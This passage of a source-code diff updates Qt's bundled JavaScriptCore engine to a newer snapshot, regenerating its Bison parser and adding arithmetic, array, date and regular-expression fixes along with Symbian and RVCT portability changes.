+      /* If just tried and failed to reuse lookahead token after an
 	 error, discard it.  */
 
       if (yychar <= YYEOF)
@@ -4723,7 +5208,7 @@ yyerrlab:
 	}
     }
 
-  /* Else will try to reuse look-ahead token after shifting the error
+  /* Else will try to reuse lookahead token after shifting the error
      token.  */
   goto yyerrlab1;
 
@@ -4781,14 +5266,11 @@ yyerrlab1:
       YY_STACK_PRINT (yyss, yyssp);
     }
 
-  if (yyn == YYFINAL)
-    YYACCEPT;
-
   *++yyvsp = yylval;
 
   yyerror_range[1] = yylloc;
   /* Using YYLLOC is tempting, but would change the location of
-     the look-ahead.  YYLOC is available though.  */
+     the lookahead.  YYLOC is available though.  */
   YYLLOC_DEFAULT (yyloc, (yyerror_range - 1), 2);
   *++yylsp = yyloc;
 
@@ -4813,7 +5295,7 @@ yyabortlab:
   yyresult = 1;
   goto yyreturn;
 
-#ifndef yyoverflow
+#if !defined(yyoverflow) || YYERROR_VERBOSE
 /*-------------------------------------------------.
 | yyexhaustedlab -- memory exhaustion comes here.  |
 `-------------------------------------------------*/
@@ -4824,7 +5306,7 @@ yyexhaustedlab:
 #endif
 
 yyreturn:
-  if (yychar != YYEOF && yychar != YYEMPTY)
+  if (yychar != YYEMPTY)
      yydestruct ("Cleanup: discarding lookahead",
 		 yytoken, &yylval, &yylloc);
   /* Do not reclaim the symbols of the rule which action triggered
@@ -4850,6 +5332,8 @@ yyreturn:
 }
 
 
+
+/* Line 1675 of yacc.c  */
 #line 1834 "parser/Grammar.y"
 
 
@@ -5007,12 +5491,9 @@ static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData* globalData, co
 static ExpressionNode* makeNegateNode(JSGlobalData* globalData, ExpressionNode* n)
 {
     if (n->isNumber()) {
-        NumberNode* number = static_cast<NumberNode*>(n);
-
-        if (number->value() > 0.0) {
-            number->setValue(-number->value());
-            return number;
-        }
+        NumberNode* numberNode = static_cast<NumberNode*>(n);
+        numberNode->setValue(-numberNode->value());
+        return numberNode;
     }
 
     return new (globalData) NegateNode(globalData, n);
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.h b/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.h
index 43a605a..491bb87 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/generated/Grammar.h
@@ -1,24 +1,23 @@
-/* A Bison parser, made by GNU Bison 2.3.  */
 
-/* Skeleton interface for Bison's Yacc-like parsers in C
+/* A Bison parser, made by GNU Bison 2.4.1.  */
 
-   Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
+/* Skeleton interface for Bison's Yacc-like parsers in C
+   
+      Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
    Free Software Foundation, Inc.
-
-   This program is free software; you can redistribute it and/or modify
+   
+   This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
-   the Free Software Foundation; either version 2, or (at your option)
-   any later version.
-
+   the Free Software Foundation, either version 3 of the License, or
+   (at your option) any later version.
+   
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
-
+   
    You should have received a copy of the GNU General Public License
-   along with this program; if not, write to the Free Software
-   Foundation, Inc., 51 Franklin Street, Fifth Floor,
-   Boston, MA 02110-1301, USA.  */
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
 
 /* As a special exception, you may create a larger work that contains
    part or all of the Bison parser skeleton and distribute that work
@@ -29,10 +28,11 @@
    special exception, which will cause the skeleton and the resulting
    Bison output files to be licensed under the GNU General Public
    License without this special exception.
-
+   
    This special exception was added by the Free Software Foundation in
    version 2.2 of Bison.  */
 
+
 /* Tokens.  */
 #ifndef YYTOKENTYPE
 # define YYTOKENTYPE
@@ -104,78 +104,16 @@
      AUTOMINUSMINUS = 320
    };
 #endif
-/* Tokens.  */
-#define NULLTOKEN 258
-#define TRUETOKEN 259
-#define FALSETOKEN 260
-#define BREAK 261
-#define CASE 262
-#define DEFAULT 263
-#define FOR 264
-#define NEW 265
-#define VAR 266
-#define CONSTTOKEN 267
-#define CONTINUE 268
-#define FUNCTION 269
-#define RETURN 270
-#define VOIDTOKEN 271
-#define DELETETOKEN 272
-#define IF 273
-#define THISTOKEN 274
-#define DO 275
-#define WHILE 276
-#define INTOKEN 277
-#define INSTANCEOF 278
-#define TYPEOF 279
-#define SWITCH 280
-#define WITH 281
-#define RESERVED 282
-#define THROW 283
-#define TRY 284
-#define CATCH 285
-#define FINALLY 286
-#define DEBUGGER 287
-#define IF_WITHOUT_ELSE 288
-#define ELSE 289
-#define EQEQ 290
-#define NE 291
-#define STREQ 292
-#define STRNEQ 293
-#define LE 294
-#define GE 295
-#define OR 296
-#define AND 297
-#define PLUSPLUS 298
-#define MINUSMINUS 299
-#define LSHIFT 300
-#define RSHIFT 301
-#define URSHIFT 302
-#define PLUSEQUAL 303
-#define MINUSEQUAL 304
-#define MULTEQUAL 305
-#define DIVEQUAL 306
-#define LSHIFTEQUAL 307
-#define RSHIFTEQUAL 308
-#define URSHIFTEQUAL 309
-#define ANDEQUAL 310
-#define MODEQUAL 311
-#define XOREQUAL 312
-#define OREQUAL 313
-#define OPENBRACE 314
-#define CLOSEBRACE 315
-#define NUMBER 316
-#define IDENT 317
-#define STRING 318
-#define AUTOPLUSPLUS 319
-#define AUTOMINUSMINUS 320
-
 
 
 
 #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
 typedef union YYSTYPE
-#line 146 "parser/Grammar.y"
 {
+
+/* Line 1676 of yacc.c  */
+#line 146 "parser/Grammar.y"
+
     int                 intValue;
     double              doubleValue;
     const Identifier*   ident;
@@ -205,13 +143,15 @@ typedef union YYSTYPE
     ParameterListInfo   parameterList;
 
     Operator            op;
-}
-/* Line 1489 of yacc.c.  */
-#line 211 "generated/Grammar.tab.h"
-	YYSTYPE;
+
+
+
+/* Line 1676 of yacc.c  */
+#line 151 "generated/Grammar.tab.h"
+} YYSTYPE;
+# define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
 # define YYSTYPE_IS_DECLARED 1
-# define YYSTYPE_IS_TRIVIAL 1
 #endif
 
 
@@ -230,3 +170,4 @@ typedef struct YYLTYPE
 #endif
 
 
+
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITArithmetic.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITArithmetic.cpp
index feee8d2..edd7d2b 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITArithmetic.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITArithmetic.cpp
@@ -56,8 +56,7 @@ void JIT::emit_op_negate(Instruction* currentInstruction)
 
     Jump srcNotInt = branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag));
     addSlowCase(branch32(Equal, regT0, Imm32(0)));
-
-    neg32(regT0);
+    addSlowCase(branchNeg32(Overflow, regT0));
     emitStoreInt32(dst, regT0, (dst == src));
 
     Jump end = jump();
@@ -78,6 +77,7 @@ void JIT::emitSlow_op_negate(Instruction* currentInstruction, Vector<SlowCaseEnt
     unsigned dst = currentInstruction[1].u.operand;
 
     linkSlowCase(iter); // 0 check
+    linkSlowCase(iter); // overflow check
     linkSlowCase(iter); // double check
 
     JITStubCall stubCall(this, cti_op_negate);
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITStubs.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITStubs.cpp
index 91b9401..022689b 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITStubs.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/jit/JITStubs.cpp
@@ -608,7 +608,7 @@ SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
     "ldr r5, [sp, #0x28]" "\n"
     "ldr r4, [sp, #0x24]" "\n"
     "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x3c" "\n"
+    "add sp, sp, #0x40" "\n"
     "bx lr" "\n"
 );
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/os-win32/stdint.h b/src/3rdparty/javascriptcore/JavaScriptCore/os-win32/stdint.h
index 1d8787e..b5dff56 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/os-win32/stdint.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/os-win32/stdint.h
@@ -61,7 +61,7 @@ CASSERT(sizeof(int16_t) == 2, int16_t_is_two_bytes)
 CASSERT(sizeof(uint16_t) == 2, uint16_t_is_two_bytes)
 CASSERT(sizeof(int32_t) == 4, int32_t_is_four_bytes)
 CASSERT(sizeof(uint32_t) == 4, uint32_t_is_four_bytes)
-CASSERT(sizeof(int64_t) == 8, int64_t_is_four_bytes)
-CASSERT(sizeof(uint64_t) == 8, uint64_t_is_four_bytes)
+CASSERT(sizeof(int64_t) == 8, int64_t_is_eight_bytes)
+CASSERT(sizeof(uint64_t) == 8, uint64_t_is_eight_bytes)
 
 #endif
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/parser/Grammar.y b/src/3rdparty/javascriptcore/JavaScriptCore/parser/Grammar.y
index 717a266..4d6e7d1 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/parser/Grammar.y
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/parser/Grammar.y
@@ -1987,12 +1987,9 @@ static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData* globalData, co
 static ExpressionNode* makeNegateNode(JSGlobalData* globalData, ExpressionNode* n)
 {
     if (n->isNumber()) {
-        NumberNode* number = static_cast<NumberNode*>(n);
-
-        if (number->value() > 0.0) {
-            number->setValue(-number->value());
-            return number;
-        }
+        NumberNode* numberNode = static_cast<NumberNode*>(n);
+        numberNode->setValue(-numberNode->value());
+        return numberNode;
     }
 
     return new (globalData) NegateNode(globalData, n);
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/ArrayPrototype.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/ArrayPrototype.cpp
index ce814b2..e160364 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -531,14 +531,19 @@ JSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec, JSObject*, JSValue t
     // 15.4.4.12
     JSArray* resObj = constructEmptyArray(exec);
     JSValue result = resObj;
-    unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
+
+    // FIXME: Firefox returns an empty array.
     if (!args.size())
         return jsUndefined();
-    int begin = args.at(0).toUInt32(exec);
-    if (begin < 0)
-        begin = std::max<int>(begin + length, 0);
-    else
-        begin = std::min<int>(begin, length);
+
+    unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
+    double relativeBegin = args.at(0).toInteger(exec);
+    unsigned begin;
+    if (relativeBegin < 0) {
+        relativeBegin += length;
+        begin = (relativeBegin < 0) ? 0 : static_cast<unsigned>(relativeBegin);
+    } else
+        begin = std::min<unsigned>(static_cast<unsigned>(relativeBegin), length);
 
     unsigned deleteCount;
     if (args.size() > 1)
@@ -564,7 +569,7 @@ JSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec, JSObject*, JSValue t
             for (unsigned k = length; k > length - deleteCount + additionalArgs; --k)
                 thisObj->deleteProperty(exec, k - 1);
         } else {
-            for (unsigned k = length - deleteCount; (int)k > begin; --k) {
+            for (unsigned k = length - deleteCount; k > begin; --k) {
                 if (JSValue obj = getProperty(exec, thisObj, k + deleteCount - 1))
                     thisObj->put(exec, k + additionalArgs - 1, obj);
                 else
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/DateConstructor.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/DateConstructor.cpp
index 2e476b3..e9a5c29 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/DateConstructor.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/DateConstructor.cpp
@@ -177,7 +177,7 @@ static JSValue JSC_HOST_CALL dateUTC(ExecState* exec, JSObject*, JSValue, const
     t.minute = args.at(4).toInt32(exec);
     t.second = args.at(5).toInt32(exec);
     double ms = (n >= 7) ? args.at(6).toNumber(exec) : 0;
-    return jsNumber(exec, gregorianDateTimeToMS(exec, t, ms, true));
+    return jsNumber(exec, timeClip(gregorianDateTimeToMS(exec, t, ms, true)));
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/JSValue.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/JSValue.cpp
index 699c1cd..502312c 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/JSValue.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/JSValue.cpp
@@ -174,7 +174,11 @@ uint32_t toUInt32SlowCase(double d, bool& ok)
 
 NEVER_INLINE double nonInlineNaN()
 {
+#if OS(SYMBIAN)
+    return nanval();
+#else
     return std::numeric_limits<double>::quiet_NaN();
+#endif
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/MathObject.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/MathObject.cpp
index 98ff3ba..8f22fba 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/MathObject.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/MathObject.cpp
@@ -218,7 +218,8 @@ JSValue JSC_HOST_CALL mathProtoFuncRound(ExecState* exec, JSObject*, JSValue, co
     double arg = args.at(0).toNumber(exec);
     if (signbit(arg) && arg >= -0.5)
          return jsNumber(exec, -0.0);
-    return jsNumber(exec, floor(arg + 0.5));
+    double integer = ceil(arg);
+    return jsNumber(exec, integer - (integer - arg > 0.5));
 }
 
 JSValue JSC_HOST_CALL mathProtoFuncSin(ExecState* exec, JSObject*, JSValue, const ArgList& args)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/RegExp.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/RegExp.cpp
index 430a5c0..b0ac400 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/RegExp.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/RegExp.cpp
@@ -211,7 +211,7 @@ int RegExp::match(const UString& s, int startOffset, Vector<int, 32>* ovector)
     if (ovector)
         ovector->clear();
 
-    if (startOffset > s.size() || s.isNull())
+    if (static_cast<unsigned>(startOffset) > s.size() || s.isNull())
         return -1;
 
 #if ENABLE(WREC)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/StructureTransitionTable.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/StructureTransitionTable.h
index 35fb7e4..2ecf0d3 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/StructureTransitionTable.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/StructureTransitionTable.h
@@ -143,14 +143,14 @@ namespace JSC {
             if (!specificValue) {
                 TransitionTable::iterator find = table()->find(key);
                 if (find == table()->end())
-                    table()->add(key, Transition(structure, 0));
+                    table()->add(key, Transition(structure, (Structure*)0));
                 else
                     find->second.first = structure;
             } else {
                 // If we're adding a transition to a specific value, then there cannot be
                 // an existing transition
                 ASSERT(!table()->contains(key));
-                table()->add(key, Transition(0, structure));
+                table()->add(key, Transition((Structure*)0, structure));
             }
         }
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/TimeoutChecker.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/TimeoutChecker.cpp
index 9e1f8b4..fd259ff 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/TimeoutChecker.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/TimeoutChecker.cpp
@@ -80,6 +80,13 @@ static inline unsigned getCPUTime()
     GetThreadTimes(GetCurrentThread(), &creationTime, &exitTime, &kernelTime.fileTime, &userTime.fileTime);
     
     return userTime.fileTimeAsLong / 10000 + kernelTime.fileTimeAsLong / 10000;
+#elif OS(SYMBIAN)
+    RThread current;
+    TTimeIntervalMicroSeconds cpuTime;
+
+    TInt err = current.GetCpuTime(cpuTime);
+    ASSERT_WITH_MESSAGE(err == KErrNone, "GetCpuTime failed with %d", err);
+    return cpuTime.Int64() / 1000;
 #else
     // FIXME: We should return the time the current thread has spent executing.
     return currentTime() * 1000;
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/AlwaysInline.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/AlwaysInline.h
index 4e7224c..ce27df6 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/AlwaysInline.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/AlwaysInline.h
@@ -33,6 +33,8 @@
 #ifndef NEVER_INLINE
 #if COMPILER(GCC)
 #define NEVER_INLINE __attribute__((__noinline__))
+#elif COMPILER(RVCT)
+#define NEVER_INLINE __declspec(noinline)
 #else
 #define NEVER_INLINE
 #endif
@@ -57,6 +59,8 @@
 #ifndef NO_RETURN
 #if COMPILER(GCC)
 #define NO_RETURN __attribute((__noreturn__))
+#elif COMPILER(RVCT)
+#define NO_RETURN __declspec(noreturn)
 #else
 #define NO_RETURN
 #endif
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/MathExtras.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/MathExtras.h
index 9ea57fd..a18949e 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/MathExtras.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/MathExtras.h
@@ -98,12 +98,25 @@ inline bool signbit(double x) { struct ieee_double *p = (struct ieee_double *)&x
 
 #if COMPILER(MSVC) || COMPILER(RVCT)
 
-inline long long llround(double num) { return static_cast<long long>(num > 0 ? num + 0.5 : ceil(num - 0.5)); }
-inline long long llroundf(float num) { return static_cast<long long>(num > 0 ? num + 0.5f : ceil(num - 0.5f)); }
-inline long lround(double num) { return static_cast<long>(num > 0 ? num + 0.5 : ceil(num - 0.5)); }
-inline long lroundf(float num) { return static_cast<long>(num > 0 ? num + 0.5f : ceilf(num - 0.5f)); }
-inline double round(double num) { return num > 0 ? floor(num + 0.5) : ceil(num - 0.5); }
-inline float roundf(float num) { return num > 0 ? floorf(num + 0.5f) : ceilf(num - 0.5f); }
+// We must not do 'num + 0.5' or 'num - 0.5' because they can cause precision loss.
+static double round(double num)
+{
+    double integer = ceil(num);
+    if (num > 0)
+        return integer - num > 0.5 ? integer - 1.0 : integer;
+    return integer - num >= 0.5 ? integer - 1.0 : integer;
+}
+static float roundf(float num)
+{
+    float integer = ceilf(num);
+    if (num > 0)
+        return integer - num > 0.5f ? integer - 1.0f : integer;
+    return integer - num >= 0.5f ? integer - 1.0f : integer;
+}
+inline long long llround(double num) { return static_cast<long long>(round(num)); }
+inline long long llroundf(float num) { return static_cast<long long>(roundf(num)); }
+inline long lround(double num) { return static_cast<long>(round(num)); }
+inline long lroundf(float num) { return static_cast<long>(roundf(num)); }
 inline double trunc(double num) { return num > 0 ? floor(num) : ceil(num); }
 
 #endif
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Platform.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Platform.h
index ec9a1e3..b3e3dba 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Platform.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Platform.h
@@ -176,7 +176,7 @@
 
 /* CPU(SPARC) - any SPARC, true for CPU(SPARC32) and CPU(SPARC64) */
 #if CPU(SPARC32) || CPU(SPARC64)
-#define WTF_CPU_SPARC
+#define WTF_CPU_SPARC 1
 #endif
 
 /* CPU(X86) - i386 / x86 32-bit */
@@ -530,10 +530,10 @@
 */
 #if OS(WINCE) && PLATFORM(QT)
 #   include <QtGlobal>
-#   undef WTF_PLATFORM_BIG_ENDIAN
-#   undef WTF_PLATFORM_MIDDLE_ENDIAN
-#   if Q_BYTE_ORDER == Q_BIG_EDIAN
-#       define WTF_PLATFORM_BIG_ENDIAN 1
+#   undef WTF_CPU_BIG_ENDIAN
+#   undef WTF_CPU_MIDDLE_ENDIAN
+#   if Q_BYTE_ORDER == Q_BIG_ENDIAN
+#       define WTF_CPU_BIG_ENDIAN 1
 #   endif
 
 #   include <ce_time.h>
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/RefPtr.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/RefPtr.h
index 83c54bc..198f6d3 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/RefPtr.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/RefPtr.h
@@ -76,12 +76,8 @@ namespace WTF {
         bool operator!() const { return !m_ptr; }
     
         // This conversion operator allows implicit conversion to bool but not to other integer types.
-#if COMPILER(WINSCW)
-        operator bool() const { return m_ptr; }
-#else
-        typedef T* RefPtr::*UnspecifiedBoolType;
+        typedef T* (RefPtr::*UnspecifiedBoolType);
         operator UnspecifiedBoolType() const { return m_ptr ? &RefPtr::m_ptr : 0; }
-#endif
         
         RefPtr& operator=(const RefPtr&);
         RefPtr& operator=(T*);
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/TCSystemAlloc.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/TCSystemAlloc.cpp
index 909f14e..ff2ac2b 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/TCSystemAlloc.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/TCSystemAlloc.cpp
@@ -38,6 +38,7 @@
 #include "Assertions.h"
 #include "TCSpinLock.h"
 #include "UnusedParam.h"
+#include "VMTags.h"
 
 #if HAVE(STDINT_H)
 #include <stdint.h>
@@ -178,7 +179,7 @@ static void* TryMmap(size_t size, size_t *actual_size, size_t alignment) {
   void* result = mmap(NULL, size + extra,
                       PROT_READ | PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS,
-                      -1, 0);
+                      VM_TAG_FOR_TCMALLOC_MEMORY, 0);
   if (result == reinterpret_cast<void*>(MAP_FAILED)) {
     mmap_failure = true;
     return NULL;
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/ThreadSpecific.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/ThreadSpecific.h
index 3abbc58..7e5679f 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/ThreadSpecific.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/ThreadSpecific.h
@@ -188,6 +188,11 @@ inline void ThreadSpecific<T>::set(T* ptr)
 
 #elif OS(WINDOWS)
 
+// TLS_OUT_OF_INDEXES is not defined on WinCE.
+#ifndef TLS_OUT_OF_INDEXES
+#define TLS_OUT_OF_INDEXES 0xffffffff
+#endif
+
 // The maximum number of TLS keys that can be created. For simplification, we assume that:
 // 1) Once the instance of ThreadSpecific<> is created, it will not be destructed until the program dies.
 // 2) We do not need to hold many instances of ThreadSpecific<> data. This fixed number should be far enough.
@@ -200,14 +205,14 @@ template<typename T>
 inline ThreadSpecific<T>::ThreadSpecific()
     : m_index(-1)
 {
-    DWORD tls_key = TlsAlloc();
-    if (tls_key == TLS_OUT_OF_INDEXES)
+    DWORD tlsKey = TlsAlloc();
+    if (tlsKey == TLS_OUT_OF_INDEXES)
         CRASH();
 
     m_index = InterlockedIncrement(&tlsKeyCount()) - 1;
     if (m_index >= kMaxTlsKeySize)
         CRASH();
-    tlsKeys()[m_index] = tls_key;
+    tlsKeys()[m_index] = tlsKey;
 }
 
 template<typename T>
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h
index 1599562..920a4d7 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/Threading.h
@@ -75,7 +75,7 @@
 #include <libkern/OSAtomic.h>
 #elif OS(ANDROID)
 #include <cutils/atomic.h>
-#elif COMPILER(GCC)
+#elif COMPILER(GCC) && !OS(SYMBIAN)
 #if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 2))
 #include <ext/atomicity.h>
 #else
@@ -239,7 +239,7 @@ inline int atomicDecrement(int volatile* addend) { return OSAtomicDecrement32Bar
 inline int atomicIncrement(int volatile* addend) { return android_atomic_inc(addend); }
 inline int atomicDecrement(int volatile* addend) { return android_atomic_dec(addend); }
 
-#elif COMPILER(GCC) && !CPU(SPARC64) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc
+#elif COMPILER(GCC) && !CPU(SPARC64) && !OS(SYMBIAN) // sizeof(_Atomic_word) != sizeof(int) on sparc64 gcc
 #define WTF_USE_LOCKFREE_THREADSAFESHARED 1
 
 inline int atomicIncrement(int volatile* addend) { return __gnu_cxx::__exchange_and_add(addend, 1) + 1; }
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/VMTags.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/VMTags.h
index 1ec79d9..34e2494 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/VMTags.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/VMTags.h
@@ -34,6 +34,12 @@
 
 #include <mach/vm_statistics.h>
 
+#if defined(VM_MEMORY_TCMALLOC)
+#define VM_TAG_FOR_TCMALLOC_MEMORY VM_MAKE_TAG(VM_MEMORY_TCMALLOC)
+#else
+#define VM_TAG_FOR_TCMALLOC_MEMORY VM_MAKE_TAG(53)
+#endif // defined(VM_MEMORY_TCMALLOC)
+
 #if defined(VM_MEMORY_JAVASCRIPT_CORE) && defined(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR)
 #define VM_TAG_FOR_COLLECTOR_MEMORY VM_MAKE_TAG(VM_MEMORY_JAVASCRIPT_CORE)
 #define VM_TAG_FOR_REGISTERFILE_MEMORY VM_MAKE_TAG(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE)
@@ -44,11 +50,19 @@
 #define VM_TAG_FOR_REGISTERFILE_MEMORY VM_MAKE_TAG(65)
 #endif // defined(VM_MEMORY_JAVASCRIPT_CORE) && defined(VM_MEMORY_JAVASCRIPT_JIT_REGISTER_FILE) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR) && defined(VM_MEMORY_JAVASCRIPT_JIT_EXECUTABLE_ALLOCATOR)
 
+#if defined(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY VM_MAKE_TAG(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+#else
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY VM_MAKE_TAG(69)
+#endif // defined(VM_MEMORY_WEBCORE_PURGEABLE_BUFFERS)
+
 #else // OS(DARWIN) && !defined(BUILDING_ON_TIGER)
 
+#define VM_TAG_FOR_TCMALLOC_MEMORY -1
 #define VM_TAG_FOR_COLLECTOR_MEMORY -1
 #define VM_TAG_FOR_EXECUTABLEALLOCATOR_MEMORY -1
 #define VM_TAG_FOR_REGISTERFILE_MEMORY -1
+#define VM_TAG_FOR_WEBCORE_PURGEABLE_MEMORY -1
 
 #endif // OS(DARWIN) && !defined(BUILDING_ON_TIGER)
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
index 1c7a692f..784adbb 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
@@ -56,7 +56,7 @@ namespace QUnicodeTables {
 QT_END_NAMESPACE
 
 // ugly hack to make UChar compatible with JSChar in API/JSStringRef.h
-#if defined(Q_OS_WIN) || COMPILER(WINSCW)
+#if defined(Q_OS_WIN) || COMPILER(WINSCW) || COMPILER(RVCT)
 typedef wchar_t UChar;
 #else
 typedef uint16_t UChar;
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index 6351105..2b885a7 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
 
 The commit imported was from the
 
-        javascriptcore-snapshot-23022010 branch/tag
+        javascriptcore-snapshot-07042010 branch/tag
 
 and has the sha1 checksum
 
-        8a21225144f7c1e10ffcb9aa7a545164d9495bf2
+        475f8c67522d8b3f3163dc3a6b24d6083fd0ac19
diff --git a/src/3rdparty/phonon/CMakeLists.txt b/src/3rdparty/phonon/CMakeLists.txt
index a25ec5d..ef7d6f5 100644
--- a/src/3rdparty/phonon/CMakeLists.txt
+++ b/src/3rdparty/phonon/CMakeLists.txt
@@ -70,6 +70,10 @@ if (CMAKE_COMPILER_IS_GNUCXX)
       add_definitions(-DQT_NO_DEBUG)
    endif (MINGW)
 
